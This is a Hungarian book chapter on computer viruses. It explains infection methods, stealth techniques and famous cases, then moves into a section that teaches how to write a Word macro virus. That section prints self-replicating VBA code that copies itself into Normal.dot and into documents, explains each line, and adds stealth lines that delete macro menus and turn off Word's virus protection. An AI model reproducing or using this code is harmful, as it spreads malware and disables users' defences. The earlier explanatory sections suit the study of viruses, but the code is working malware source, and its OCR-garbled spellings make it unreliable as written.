5. *fejezet - Tartalom*

5 *Vírusok - Veszélyes fájlok*

5.1 Alapok

Az FBI kódolás elleni vírust fejleszt

Minden eszközzel a potenciális terroristák ellen ...

Az amerikai szövetségi rendőrség, az FBI egy eljárást fejleszt, amellyel a kódolt adatokat már a keletkezésük helyén dekódolni lehet - jelenti az *MSNBC.com* online média. Egy *Magic Lantern* nevű szoftver segítségével az FBI specialistái a jövőben egy olyan vírust tudnak becsempészni a gyanús szerverekre, amely megteremti a dekódolás előfeltételeit.

Az FBI-nak sok szerverrel nem lesz nehéz dolga.

Ezután a vírus mailben fogja elküldeni magát, vagy ismert biztonsági réseken becsempészi magát a szerverszoftverbe. Ha a fertőzött számítógépeken elindítanak egy kódolóprogramot, a vírus minden billentyűzet-bevitelt feljegyez, és elküldi az FBI-nak.

A Magic Lantern azelőtt kezd működni, mielőtt még az adatok kódolása megtörténne, úgy, hogy kódolás közben kvázi kukucskál a felhasználó válla fölött,

A US-hatóságok szemében már régóta tüskét jelentettek az erős kódolásra alkalmas programok, mivel az ezekkel kódolt adatokat nem lehet visszafejteni. Csak miután az ipar bizonyítékokat szerzett arról, hogy a kemény kódolóprogramok az exporttilalom ellenére is elterjedtek, az USA fel adta a hivatalos ellenállást.

1983-ban programozta az első hivatalosan ismertté vált vírust *Fred Cohan* a dél-kaliforniai egyetemről. Doktori disszertációjához fejlesztette ki az önmagát reprodukáló program elméletét, és rögtön bizonyítékkal is szolgált. Az általa

programozott vírus Unix operációs rendszer alatt futott. A hatása az volt, hogy a rendszer minden felhasználója megkapott minden elérési jogot.

Az újságokban és a televízióban újra és újra horrorisztikus híreket hallani új és veszélyes vírusokról. Ezek azonban többnyire erőteljes túlzások. A valóságban jelentősen több kár éri a számítógépes rendszereket és az adataikat szabotázsoktól, a szakszerűtlen kezeléstől vagy a hackertámadásoktól, mint a vírusoktól és következményeiktől.

Egy vírustámadás következtében azonban bizonyos körülmények között minden adat és program elveszhet, ami jelentős anyagi károkat okoz.

Fertőzésnek az orvostudomány azt a folyamatot nevezi, amelynél a kórokozók átterjednek egyik egyedről a másikra. Mivel a komputervírusok a biológiai vírusokhoz hasonlóan viselkednek, itt is az átviteli folyamatot nevezik fertőzésnek. A vírus az egyik vírushordozóról egy másik potenciális vírushordozóra, például egy merevlemezre kerül. Ez történhet egy olyan fertőzött program elindításával, amelyet interneten, CD-n vagy lemezen keresztül lehet kapni, vagy - a bootszektor vírusoknál - a lemez egy fertőzött bootrutinjával. A program általában álcázva van, mintha egy képről, egy Word vagy egy Excel fájlról lenne szó. Gyakran éppen az ártalmatlannak vélt fájlok okozzák a legnagyobb károkat, mert egy *EXE* fájllal sok felhasználó már eleve óvatosan bánik. Hogy az Office-alkalmazások makrovírusai milyen veszélyesek lehetnek, az kiderül a későbbiekben.

Persze nem vezethető vissza vírusra a számítógéppel történő munka során fellépő hibák mindegyike. A legtöbb esetben a szoftver vagy egy meghajtó hiányosságáról van szó. Ennek ellenére óvatosnak kell lenni: ha hirtelen olyan hibák jelennek meg, amelyek hasonló körülmények között eddig nem léptek fel, akkor vírusellenőrzést kell végezni.

5.4.1 Defektes cluster mint álcázás

A vírusoknak többnyire *álcázómechanizmusaik* vannak, amelyek védik őket a lelepleződéstől. Az egyik ilyen mechanizmus például megakadályozza, hogy a felhasználó felfedezze a vírus elfoglalta tárterületet a merevlemezen. A vírus befészkelődik az adathordozó egy tetszőleges helyére, és az elfoglalt clustert (helyfoglalási egységet) hibásnak mutatja. A legtöbb felhasználói program (tehát a vírusvizsgálók is) egyszerűen átugorják a hibás clustereket, vagy csak jelzik a hibát, és a megmaradt tárterületet mutatják meg.

5.1.2 Miről ismeri fel a vírusvizsgáló a vírust?

Minden vírusnak van egy jellemző bitmintája, a *hex-pattern*. Ez hexadecimális karaktereknek egy 10-16 bájt hosszú láncából áll, és a vírus arra használja, hogy felismerje, fertőzött-e már egy fájl. Ha ez a hex-pattern már ismert, fel lehet használni egy meghatározott vírus kereséséhez az adathordozón. A keresés csak az önmagukat kódoló vírusoknál válik problematikussá.

5.1.3 Videokártyák - az elvetemült támadók búvóhelyei?

A videokártyák gyakran állnak vírushordozó gyanújában. A vírusok állítólag a kártya videomemóriájába fészkelik be magukat. Valójában ez lehetetlen: egy videokártya videomemóriája nem bootképes, az adatokat csak tárolja. Ezért egyetlen vírus sem tud közvetlenül a videokártya memóriájából a számítógép végrehajtható memóriájába kerülni. A videokártya memóriáját a vírus legfeljebb egy azonosító tárolására használhatja.

5.2 A vírus felépítése

Minden vírus három vagy gyakrabban négy programrészből áll: az első rész egyfajta *ismertetőjegy*, amelyről a vírus felismeri önmagát. Ennek a segítségével tudja bármikor ellenőrizni, hogy meg van-e már fertőzve egy fájl.

A második rész tartalmazza a tulajdonképpeni *fertőzőrutint*. Itt először egy szubrutinról van-e szó, amely még nem fertőzött, végrehajtható fájlt keres. Ha talál ilyet, a vírus bemásolja a programkódját a fájlba. Ebben a részben található a programkód is, amely szükség esetén úgy alakítja át a fájlt, hogy a vírus a program indításakor azonnal aktiválódni tudjon. Az esetleges álcázási eljárás szubrutinja is itt található.

A harmadik rész dönti el, hogy ártalmatlan vírusról van-e szó, ami csak egy kis tréfát csinál, vagy egy destruktív kártevőről, amely közepes vagy nagy katasztrófát vált ki. Ártalmatlan esetben itt található az utasítás, hogy a vírus mondjuk x napon rajzoljon egy képet a monitorra, vagy írjon ki egy meghatározott szöveget. De ez a hely tartalmazhatná azt a parancsot is, hogy: „a következő újraindításnál formattáld a merevlemezt".

A negyedik résszel zárul a kör. Itt található az a parancs, amellyel a program a víruskód végrehajtása után visszatér oda, ahol a vírus megszakította a program futását.

5.3 Hogyan fertőz meg a vírus egy fajit?

A fájlok megfertőzésénél a legnagyobb különbségek a módban vannak, ahogyan a vírus beveszi magát egy programba. Sok vírus egy futtatható fájl végéhez fűzi a saját programkódját, az elejére pedig egy hivatkozást tesz erre a kódra. Ha a programot elindítják, az a saját feladatainak a futtatása előtt először a vírusprogramra ugrik. Ha ezt végrehajtotta, megint visszaugrik arra a helyre, ahol eredetileg megszakította a folyamatot. Felhasználóként legfeljebb a fertőzött program indulási sebességének a minimális változását vesszük észre.

Most már minden alkalommal, mikor a programot elindítják, először a vírus indul el, és ettől a perctől kezdve még meg nem fertőzött fájlokat keres, hogy azokhoz is hozzáférkőzzön, és megfertőzze őket.

A víruskódnak ez a fájlhoz fűzése nem okoz maradandó károsodást a fertőzött fájlon, a vírusokat el lehet távolítani. Egyes vírusok azonban sokkal gátlástalanabbul viselkednek, és egyszerűen átírnak a fájlból annyit, amennyire a programkódjukhoz szükség van. Ha a gazdaprogram, a fájl, ugyanolyan méretű vagy nagyobb, mint a vírus, akkor ez viszonylag észrevétlenül történhet. Ha a vírus nagyobb, mint a vendéglátója, akkor kompletten átírja a fájlt, és annyival meghosszabbítja, amennyi helyre szüksége van.

5.3.1 így fertőznek a bootszektor vírusok

A vírusok egy másik típusa áthelyezi az eredeti bootszektort, a helyére pedig a saját betöltőprogramját írja. Ez egy rutin, amely utasítja a BIOS-t az operációs rendszer betöltésére, a vírus pedig elrejtőzik valahol az adathordozón. Ha a gép indításkor a bootszektorhoz ér, a vírusbetöltő először a vírust indítja el, és ezután átcsereli a beolvasást az átültetetett eredeti bootszektorra. A vírus ezen a módon olyan lemezeken is terjedhet, amelyek nem tartalmaznak programokat, csak fájlokat, mivel a nem bootképes lemezeknek is van egy minimális bootszektoruk. Ha a bootolási kísérletnél nem talál operációs rendszert, a betöltőprogram csak egy jelzést küld a képernyőre: *nem rendszerlemez.* A vírust az ilyen lemez is hordozhatja.

Más vírusok átírják a FAT-ben található könyvtárinformációt, és minden programnál a vírusprogram címét adják meg. Az eredeti címeket a vírus egy rendezett listára helyezi. Ha egy programot elindítanak, akkor ez először elindítja a vírust, majd az továbbítja az elérést a helyes címre.

Minden fertőzésmódnak létezik néhány variánsa. Emellett vannak még *hibrid vírusok* is, amelyek a bootszektort és a fájlokat is meg tudják támadni. Több módszer kombinációja is gyakran előfordul, ezért is lehet egyre nehezebben osztályozni a vírusokat.

5.3.2 A dropper vírust helyez el

A *dropper* nem vírus, nem is vírussal fertőzött program, ám ha lefut, egy vírust telepít a memóriába, a merevlemezre vagy egy fájlba. A droppereket egy bizonyos vírus átvitelére alkalmas programként vagy egyszerűen egy szabotázs segédeszközeként írják meg. Egyes antivírus-programok megkísérlik a dropperek felismerését, s az újabbaknak ez általában sikerül is.

5.4 A legfontosabb vírustípusok rövid áttekintése

A vírusfigyelmeztetések szinte már a napi rutinhoz tartoznak az interneten. Többnyire a mailektől óvnak, amelyeknek a fájlmelléklete vírust rejt. Az ilyen figyelmeztetésekben általában azt is megadják, hogy milyen vírusról van szó. Ez fontos, mert a „fertőzésveszély" a típustól függően nagyobb vagy kisebb. Az alábbiakban egy rövid áttekintést adunk a legfontosabb vírustípusokról és sajátságaikról.

5.4.1 Bootszektor vírusok

A leggyakrabban fellépő vírusok az olyan *bootszektor vírusok,* mint a *Form* és a *Stoned* vírus. Az ilyen vírusok a hajlékonylemezek bootszektorát és/vagy a master boot recordot (MBR), illetve a master boot partíciós szektort vagy a DBR-t, a DOS boot recordot, illetve DOS-bootszektort fertőzik meg a merevlemezen. Egy bootszektor vírus a következőképpen terjed.

Kapunk egy flopit adatokkal, amelyek a vírussal fertőzöttek. Az, akitől a lemezt kaptuk, azonban nem tudja, hogy a számítógépe és ezáltal a lemez is bootszektor vírussal fertőzött. A lemezt behelyezzük az *A:* meghajtóba, és elkezdjük használni az adatait. Eddig a vírus még semmit sem csinált. Valamikor kikapcsoljuk a számítógépet. A következő reggelen újból bekapcsoljuk a számítógépet. A lemez még az A: meghajtóban van, és a BIOS-ban *Boot from Floppy* van beállítva: tehát a számítógép megpróbál erről a lemezről elindulni. Betölti a lemez első szektorát a memóriába, hogy lefuttassa a kódot, amit tartalmaz, vagy hogy kiírja: *Nem rendszerlemez, a folytatáshoz üssünk le egy tetszőleges billentyűt* - amennyiben nem talál rajta DOS-rendszerfájlokat. Ezt az üzenetet már ezerszer láttuk, tehát kioldjuk a meghajtózárat, és lenyomunk valamilyen billentyűt.

Ez a flopi azonban *Stoned* vírussal fertőzött, és a vírus programja lefut. Telepíti magát a merevlemezre, kicseréli magára az MBR-t, és az eredeti MBR-t a merevlemez egy más pontján helyezi el. Ha ezután elindul a gép a merevlemezről, lefut az MBR, ami mostanra azonban már nem más, mint a Stoned vírus. A vírus memóriarezidenssé válik, rátelepszik a *13h* interruptra, az adathordozóról történő olvasás és írás interruptjára, és ezután betölti az eredeti MBR-t, és innentől kezdve az indítási folyamat a megszokott módon folytatódik. Mivel azonban fogja a flopiról olvasás/flopíra írás interruptját, a vírusprogram minden A: meghajtóra/-ról irányuló írási vagy olvasási műveletnél (habár azt gondoljuk, olvasásról van szó, a valóságban a vírus ír a lemezre) megvizsgálja a lemezt, és ha még nincs megfertőzve, installálja a Stoned vírust a bootszektorába. így a gépünk most minden lemezt megfertőz, ami bekerül az A: meghajtójába, előbb vagy utóbb pedig tovább adjuk ezeknek a lemezeknek valamelyikét, és ezzel a körforgás elölről kezdődik.

A különböző bootszektor vírusok működési módjai a részleteikben ugyan különböznek egymástól, de az alapelv mindegyiknél ugyanaz. A fertőzött flopik bootszektoráról kerülnek fel a gépre, és csak így lehet őket továbbadni (egy bootszektor-vírus nem tud például a hálózaton keresztül terjedni). A fertőzés csak a fertőzött lemezről történő indítási kísérletnél következhet be, még ha ez a kísérlet sikertelen is lenne.

A bootszektor vírusok PC-ket támadnak meg. Semmi jelentősége nincs annak, hogy milyen operációs rendszert használ a gép, vagy hogy milyen vírusvédő programot telepítettek rá, mert abban a pillanatban, mikor a bootszektor vírus telepíti magát, az operációs rendszer vagy a védőprogram még egyáltalán nincsen betöltve. Egyes operációs rendszereknél, amelyek nem DOS-alapúak, a PC ugyan megfertőződik, a vírus azonban nem tudja a gépbe helyezett lemezekre másolni magát, és így nem tud terjedni. Kárt azonban ugyanúgy okozhat ezeken a gépeken is, mint azt egy döbbent Unix-felhasználó megtapasztalta, mikor 2000. március 6-án a *Michelangelo* vírus meglepetésszerűen lecsapott a gépére.

Sokan meg vannak lepve, mikor megtudják, hogy egy vírus ilyen módon terjed, és ebben keresendő a bootszektor vírusok gyakoriságának az oka is. A vírusvizsgálók, működési módjuk miatt, csak a lemezek vizsgálatakor tudják felismerni és törölni a bootszektor vírusokat. A boot-támadás idején azonban tehetetlenek.

Ajánlott a számítógép fő bootszekvenciáját úgy beállítani a BIOS-ban, hogy először mindig a merevlemezről próbáljon bootolni, második lehetőségként pedig meg lehet adni a CD-ROM meghajtót. Ha egy merevlemez-problémánál a bootolás lehetetlenné válna (headcrash vagy hasonló), a BIOS-t még mindig át lehet állítani egy tiszta(!) lemezről bootolásra. A lemezeket, amelyeket kapunk, ennek ellenére gondosan ellenőrizzük vírusvizsgálóval, nehogy másoknak okozzanak károkat továbbadáskor.

5.4.2 Companion vírusok

Ha egy *COM* és egy *EXE* fájlnak ugyanaz a neve, és ezt a nevet begépeljük, a DOS először mindig a *COM* fajit hajtja végre. A companion vírusok is ezt a körülményt használják ki, az *EXE* fájlhoz készítenek egy azonos nevű *COM* fájlt, amelyben benne van a víruskód. Ha ezután megpróbáljuk elindítani az *EXE* fájlt, helyette a COM program, tehát a vírus fut le. Ha a vírus befejezte a ténykedését, például készített egy újabb companion vírust egy újabb fájlhoz, elindítja az *EXE* programot is, hogy úgy tűnjön, minden a legnagyobb rendben működik.

Volt néhány igazán sikeres companion vírus, de nem sok. A vírusprogramozónak az a fő előnye, hogy az *EXE* fájl egyáltalán nem változik, és így a megváltoztatott programok némelyike egyáltalán nem is veszi észre, hogy egy vírus terjed. Az elrejtéshez gyakran a *rejtett* vagy a *rendszer* tulajdonságot adják a fájlnak. Ezeket az *intéző* alapértelmezésben nem mutatja.

5.4.3 Killerprogramok

A *killerprogramok* olyan vírusok, amelyek bizonyos számú fertőzés után tönkreteszik a fertőzött gép merevlemezét. A vírus erre a célra *egy fertőzésszámlálót* tartalmaz, amely egy rögzített értéktől kezdve visszaszámol. Ha eléri

a nullát, kiváltja a rombolóakciót. Egyes esetekben a vírus ilyenkor kiadja és lefuttatja a *FORMÁT C:* parancsot. Más vírusok minden fájlt törölnek az adathordozón. A legbarátságtalanabb változat a FAT bejegyzéseit változtatja meg. Ilyenkor minden fájl ott marad ugyan a merevlemezen, csak az adatállomány többé nem olvasható és használható.

5.4.4 Logikai bombák

A *logikai bombák* a vírusok különleges fajtái: ezeknek a működésbe lépését kiválthatja egyfajta időzítő vagy egy feltétel teljesülése, például egy bizonyos szó vagy felhasználói név beírása vagy hiánya.

Ezek a vírusok többnyire egy meghatározott rendszerre korlátozódnak: a bombák rendszerint csak egy megadott környezeten belül tudják reprodukálni magukat, és ezért ezen a környezeten kívül hatástalanok.

5.4.5 Makrovírusok

A *makrovírusok* olyan vírusok, amelyek adatfájlokat fertőznek meg. Makrovírusokat jellemzően Microsoft Word dokumentumokban *(.doc* vagy *.dot* végződéssel) és már Excel fájlokban is találunk. Amint megnyitunk egy fertőzött Word dokumentumot, az megfertőzi a *Normal.dot* fájlt. Ha ezután egy dokumentumot mentünk vagy nyitunk, az is megfertőződik a vírussal. A makrovírusok például egy másikra tudják cserélni a *Mentés* parancsot, a felhasznált programnyelv alapján adatokat tudnak törölni vagy módosítani. Hogy a makrovírusok hogyan működnek, milyen parancsokat tudnak kiváltani, és milyen trükköket vetnek be álcázásként, az a későbbiekben fog kiderülni.

5.4.6 Hálózati vírusok

Speciális hálózati vírusokból még kevés van, azonban a legtöbb vírus hálózaton is tud terjedni. A klasszikus *hálóvírusok* az úgynevezett *férgek*. Ezek a vírusok nem programfüggelékként terjednek a rendszerekben, hanem önállóan tudják reprodukálni a saját kódjukat, és önálló programként tudják lefuttatni magukat.

Olyan vírusok, amelyek több operációs rendszerben is tudnának terjedni, még nincsenek. A vírusok, a koncepciójuknál fogva, mindig egy rendszer gyenge pontjaira vannak kihegyezve. Mivel ezek minden rendszerben mások, és minden rendszer más programozási követelményeket állít, belátható időn belül aligha lesznek olyan vírusok, amelyek például Mac és MS-DOS gépeken is tudnának működni.

A legtöbben azt hiszik, hogy egy vírus, amint bekerül egy hálózatba, azonnal viharos sebességgel el is terjed rajta. Ez azonban a valóságban sokkal bonyolultabb. Először is a bootszektor vírusok nem tudnak hálózaton keresztül terjedni, még akkor sem, ha több, hálózatra csatlakozó számítógép fertőzött, mert ez a vírustípus csak flopin keresztül terjed. A fájlvírusok ezzel szemben a következőképpen fertőznek hálózaton keresztül:

1. „A" kolléga megfertőzi a számítógépét, valószínűleg egy e-mail mellékletével vagy egy barátja demólemezével. A vírus memóriarezidenssé válik.
2. „A" kolléga további programokat futtat a merevlemezén, amelyek ezáltal ugyancsak megfertőződnek.
3. „A" kolléga néhány programot a hálózaton futtat, ezek is megfertőződnek. A hálózat egy DOS-eszközt emulál, ez azt jelenti, hogy fájlok olvasása és írása ugyanolyan módon történik a szerveren, mint lokálisan. A vírusnak tehát nem kell a szokásostól eltérően viselkednie ahhoz, hogy a szerveren is meg tudjon fertőzni fájlokat.
4. „B" kolléga bejelentkezik a szerverre, és végrehajt egy fertőzött fájlt. A vírus „B" kolléga gépén is memóriarezidens lesz.
5. „B" kolléga több más programot futtat saját, helyi merevlemezén és a szerveren. Valamennyi végrehajtott fájl megfertőződik.
6. „C", „D" és „E" kollégák bejelentkeznek, és futtatják a ferőzött fájlokat.
7. ...és így tovább.

Másképp történik a fertőzés az olyan vírusoknál, amelyek elküldik magukat a mail-címjegyzék minden címére. Itt elég, ha „A" kolléga lefuttatja a fájlt, és a címjegyzékéből minden kollégája kap egy mailt a vírussal. Ha ezek a kollégák ugyancsak megnyitják a mellékletet, minden kezdődik elölről. A különböző címjegyzék-bejegyzéseken keresztül a vírus gyorsan eljut az üzletfelekhez, barátokhoz stb., és így lavinát vált ki. Az *ILOVEYOU* a maga idejében pontosan ilyen vírus volt. Más sajátosságai mellett saját magát szaporította. Még kompu-

tercégeknél is egész részlegeket bénított meg, mert a mailforgalom egyfolytában növekedett, és minden további futtatás ismét elindította a küldést.

5.4.7 Polimorf vírusok

Az antivírus programok leggyakrabban használt fajtája a *szkenner,* amely a víruskódok egy bizonyos repertoárja után kutat. A vírusprogramozó ezt a programot szeretné a legjobban becsapni. A *polimorf vírus* olyan kártevő, amelyből egy helyen nem fordul elő két másolat, amelyek ugyanazt a bájtsorozatot tartalmaznák. Ezért egy ilyen vírust nem lehet egyszerűen egy meghatározott bájtsorozatról felismerni, ennél sokkal összetettebb és nehezebb feladatot kell megoldania annak, aki el akarja csípni.

5.4.8 Stealth vagy rejtőzködő vírusok

Ha egy vírus memóriarezidenssé tud válni, ami pedig a komputeres világban megjelenő vírusok 99%-ára igaz, akkor legalább egy interruptot fogni tud. Ha bootszektor vírusról van szó, akkor az a *13h interruptot* használja (az adathordozók olvasása/írása). A stealth vírusoknál viszont, ha egy tetszőleges program megpróbálja olvasni a bootszektort, a vírus azt mondja magában: „Aha, itt valaki látni akarja a bootszektort. Egyszerűen beolvasom az eredeti bootszektort onnan, ahová eltettem, és aztán a fertőzött bootszektor helyett az eredeti tartalmát prezentálom. Hi-hi." Ezáltal a lekérdező programnak semmi szokatlan sem tűnik fel.

Az 1986-ban készült *Éráin* vírus volt az első olyan, amelyik ezzel a trükkel dolgozott. A fájlvírusok, mint amilyen a *Frodo,* hasonló trükkel szintén el tudják titkolni a létezésüket úgy, hogy minden program, amely a fájlt olvassa, csak azokat a bájtokat látja, amelyeket az a vírusfertőzés előtt tartalmazott. Az ilyen álcázási képességek azonban gyakrabban figyelhetők meg bootszektor vírusoknál, mint fájlvírusoknál, mert egy bootszektor vírushoz sokkal egyszerűbb álcázórutint írni.

5.4.9 TSR fájlvírusok

A második leggyakoribb vírusfajta a *TSR fájlvírus.* Mint a neve is mutatja, az ilyen típusú vírus fájlokat támad meg, azok közül is általában a *COM és* az *EXE* fájlokat; azonban van néhány eszközmeghajtó vírus is. Egyes vírusok *overlay fájlokat* (programok lapozófájljai) fertőznek meg, ezek az **.OVL* fájlok, és a végrehajtható programoknak sem feltétlenül kell *COM* vagy *EXE* kitérjesztésűeknek lenniük, bár ez az esetek 99%-ára igaz.

Ahhoz, hogy egy TSR vírus terjedni tudjon, valakinek le kell futtatni a fertőzött programot. A vírus memóriarezidenssé válik, és általában minden utána elindított programot megvizsgál, hogy megfertőzze, ha az még nem fertőzött.

Egyes vírusokat *gyorsan fertőző vírusoknak* is neveznek. Az ilyen vírusok már akkor megfertőznek egy fájlt, ha csak megnyitjuk azt (például egy adatmentésnél bizonyos körülmények között minden fájlt megnyitnak, amit a meghajtó tartalmaz.) Az első gyorsan fertőző vírus a *Dark Avenger* volt. A *Green Caterpiller* fertőzőrutinját viszont minden olyan folyamat kiváltja, amely meghatározza, hogy milyen fájlok állnak rendelkezésre az adathordozón (pl. a *DIR* parancs). Használnak még más fertőzőrutinokat is, de a legtöbb esetben egy program csak akkor fertőződik meg, amikor végrehajtják.

5.4.10 Update vírusok

Az *update vírusok* különösen ravasz kórokozók. Családokra oszlanak, és ezeket többnyire egyetlen programozó vagy egy csoport fejleszti. A hex pattern mellett ezek a vírusok nemcsak egy verziószámot tartalmaznak, hanem egy update rutint is, amely ellenőrzi, hogy a vírus fellépett-e már valamely verziójában. De ez még nem minden: a rutin azt is megvizsgálja, hogy a fájlok tartalmazzák-e már a vírus egy régebbi verzióját. Ha igen, akkor lecseréli ezeket. Ha újabb verzió van telepítve, akkor ezzel nem fertőz újra.

5.4.11 Férgek - az ILOVEYOU és társai

A komputerférgek olyan programok, amelyek önállóan tudnak egy hálózaton terjedni. Ezeknél nem klasszikus vírusról van szó, hanem azzal rokon *zavaróprogramokról,* amelyek azonban vírust is tartalmazhatnak. A férgek önálló programok, amelyeknek nincs szükségük arra, hogy gazdaprogramokhoz fűzzék magukat. Többnyire több, egymáshoz kapcsolódó programszegmensből állnak. A komputerférgek saját magukat tudják reprodukálni, és hálózati funkciók segítségével más számítógépekre másolódnak.

5.4.12 Időzítők

Az *időzítők* a vírusok speciális kioldómechanizmusai. A vírusprogramon belül egy rutin lekérdezi a rendszeridőt. Ha az elér egy rögzített értéket, kiváltja a vírus akciótartalmának a végrehajtását. A feltétel lehet a bekapcsolástól számított időtartam vagy egy előre meghatározott dátum. Elméletileg így például születésnapi üdvözletet lehet valakinek küldeni, amely a szóban forgó napon automatikusan elindul. A naptári dátumok mellett olyan rutint is lehet használni, amely minden nap, ugyanabban az órában indul el. Az időzítők feltételeinek a választéka szinte határtalan.

5.5 Word makrovírus írása

Biztos, hogy mindenki látta már a Word megerősítő kérdését, ha valakitől egy olyan dokumentumot kapott, amelynek a sablonjában makrók voltak. Lehet, hogy a makrók engedélyezésére kattintott, vagy kétkedőn a tiltásukat választotta, de biztosan nem volt a tudatában annak, hogy milyen veszély bújik meg mögöttük. A következő oldalakon sok minden kiderül a Word makrovírusok programozásáról. Itt különösen fontos tudni, hogy milyen trükkökkel álcázhatják a programozók a programjaikat, és milyen potenciális veszélyeket hordoznak ezek. Ha ezzel valaki meg tud úszni egy Word makrovírust vagy legalább felismeri azt, már megérte az ismertetés. Íme, a vírusspecialista *Aciidfreak* útmutatója, valamennyire módosított formában.

Aki tud VB-ben programozni, annak nagyon egyszerű a makrók írása.

A VBA lassú, de hatalmas. Minden parancsnak a birtokában van, amit a VB alatt is használni tudunk, és minden API-funkciót is ismer (API = Application Programming Interface).

5.5.1 Minden ténykedés központja - a Normal.dot fájl

A Word minden indításkor betölt egy globális fájlt, a *Normal.dot-ot.* Ebben a fájlban lehetnek a makrók, amelyek azután minden dokumentumra érvényesek. Ezt a fájlt támadják meg, hogy a Wordot megfertőzzék. Ha a Word fájlok makrót tartalmaznak, akkor ezek a fájl megnyitásakor rendszerint ugyancsak megnyílnak és aktívvá válnak. De a Word idegen szövegeknél megkérdezi, hogy aktiválja-e a makrókat is. Ez a kérdés azonban csak erre a dokumentumra érvényes, ezért kell a fertőzéshez a *Normal.dot-ba* másolni a makrovírusokat, és a *Normal.dot-ból* minden, még nem fertőzött *DOCfájlba.* Ez a makrovírus alapötlete.

5.5.2 Modul vagy osztálymodul?

A vírusok mindig egy *osztálymodulban* vagy egy *modulban* vannak. Egy modul elkészítéséhez az *Eszközök/Makró/Visual Basic-kel* megnyitjuk a Word makroszerkesztőjét. Itt a *Beszúrás* menüből kiválasztjuk, hogy *Modulról* vagy *Osztálymodulról,* esetleg *UserFormról* lesz-e szó. A *UserFormok* a makroprogramozás szempontjából nem érdekesek, a modulok és az osztálymodulok a fontosak. Ezekbe kerülnek az önálló projektrészek, amelyeket bárhol újra elő lehet venni. Először a modulokban lévő makrovírusokkal foglalkozunk.

5.5.3 Vírusok kontra ServiceRelease

Az *SR-1* a Microsoft egy *ServiceRelease-e,* amely a WordBasicben elérhetetlenné teszi a *MacroCopy* és *Application OrganizerCopy* parancsokat, de egy vírusíró erre mindig talál megoldást.

5.5.4 Modul makrók

Az alábbiakban megtalálható minden, amire egy Word makrovírushoz szükség van, de hangsúlyozzuk, hogy az egészet csak tájékoztatásnak szánjuk, nem pedig megvalósítás céljára.

```
Attribute VB_Name = "demo"

Sub AutoCloseQ
On Error Resume Next
Application. VBE.ActiveVBProject. VBComponents("demo").Export
   "c:\demo.sys"

For I = 1 To NormalTemplate.VBProject.VBComponents.Count
```

```
If NormalTemplate.VBProject.VBCpmponents(I).Name = "demo" Then
  NormInstall = True
Next I
For I = l To ActiveDoctiment.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then
  ActivInstall = True
Next I
If ActivInstall = True And NormlnstalI = False Then Set Dobj =
  NormalTemplate. VBProject_
Else If ActivInstall = False And NormlnstalI = True Then Set Dobj =
  ActiveDocument. VBProject
Dobj. VBComponents.Import ("c: \demo.sys")
End Sub
```

így ni, ezt most fogjuk most darabokra szedni.

Attribute VB_Name = "demo"
A Demo a modul neve. És a modul neve általában a vírus neve.

Sub AutocloseQ
Ez a sub minden alkalommal lefut, ha egy dokumentumot bezárnak. Vannak még más autofunkciók is, amelyek automatikusan végrehajtódnak: például *AutoOpen, AutoExit,* ***Autoexec.***

On Error Resume Next
Ez esetleg a VB-ből már ismert. Ha hiba lépne fel, egyszerűen a következő parancsot hajtatja végre, ahelyett, hogy hibaüzenetet írna ki, ami elárulná a vírust.

Application. VBE.ActiveVBProject. VBComponents ("demo").Export "c: \demo.sys"
A modult a *C\demo.sys* fájlba exportálja. Ebben a fájlban benne van az egész forráskód, hogy később lehetőleg egy fertőzendő fájlba lehessen importálni.

For I = 1 *To NormalTemplate.VBProject.VBComponents.Count*
Ez egy *For* ciklus. Annyiszor ismétli az utána következő kódot, ahány modul van a *Normal.dot-ban.*

IfNormalTemplate. VBProject. VBCpmponents(I).Name = "demo " Then NormlnstalI = True
Ha a *Normal.dot-ban* van egy modul, amit demo-nak hívnak (tehát a vírus), *True-ra* állítja a *NormalInstall-t.*

Next I
A *For* cikluson belül a következő értékre lépteti a ciklusváltozót.

For I = 1 To ActiveDocument. VBProject. VBComponents. Count
Ez egy *For* ciklus. Annyiszor ismétli meg a *For* és a *Next* közötti kódot, ahány modul található az aktív dokumentumban.

IfActiveDoaiment. VBProject. VBComponents(I).Name = "demo" Then ActivInstall = True
Ha az aktív dokumentumban van egy modul, amelynek a neve „demo" (tehát, mint a vírusé), *True-ra* állítja az *ActivlnstalI-t.*

Next I
A *For* cikluson belül a következő értékre lépteti a ciklusváltozót.

If ActivInstall = True And NormlnstalI = False Then Set Dobj = NormalTemplate. VBProject
Ha az aktív dokumentumban, és nem a Normal.dot-ban vagyunk, akkor a *Dobj-t NormalTemplate. VBProject-re* állítja. Itt rögzíti, hogy később melyik fájlba importál: vagy a *Normal.dot-ba,* vagy az aktív dokumentumba.

Else If ActivInstall = False And NormlnstalI = True Then Set Dobj = ActiveDocument. VBProject
Itt a feltétel fordítva is átfut: Ha a *Normal.dot-ban* és nem az aktív dokumentumban vagyunk, akkor a Dobj *NormalTemplate. VBProject-re* lesz állítva, hogy később kiváltsa az aktív dokumentumba importálást.

Dobj. VBComponents.Import ("c:\demo.sys")
Itt importálja az elején exportált fájlt (a vírust). Hogy melyik fájlba lesz csomagolva, az attól függ, hogy mire lett állítva a *Dobj.*

Most néhány funkció következik, amelyeket be lehet építeni.

Az álcázáshoz - stealth

A Word alapértelmezésben megmutat egy modult a VB Editorban, ezenkívül a *Normal.dot-on* keresztül célzottan másolni is lehet a makrókat. Az álcázás

tehát azt jelentené, hogy a makrovírust elrejtjük. Ez úgy megy a legegyszerűbben, ha nem lehet a menükből elindítani a megfelelő funkciókat. Ezen a helyen a ritkán használt parancsok elrejtése a Word 2000-ben különösen végzetesen hat: a felhasználó e beállítás miatt egyáltalán nem vesz észre bizonyos beavatkozási lehetőségeket. A vírus eltávolítja ezeket a bejegyzéseket, és sokkal tovább marad észrevétlen.

CommandBars("Tools").Controls("Macro").Delete
Kiveszi a makrókra vonatkozó menüparancsokat.

CommandBars("Tools").Controls("Templates and Add-Ins... ").Delete
Kiveszi a sablonokra és a bővítményekre vonatkozó menüparancsokat.

*CommandBars("Format").Controls("Style... ").Delete **
Kiveszi a stílusokra vonatkozó menüparancsokat.

Options. VirusProtection = False
Eltávolítja a vírusvédelmet, amelyekkel a Word a dokumentumokban előforduló makrókra reagál.

Options.SaveNormalPrompt = False
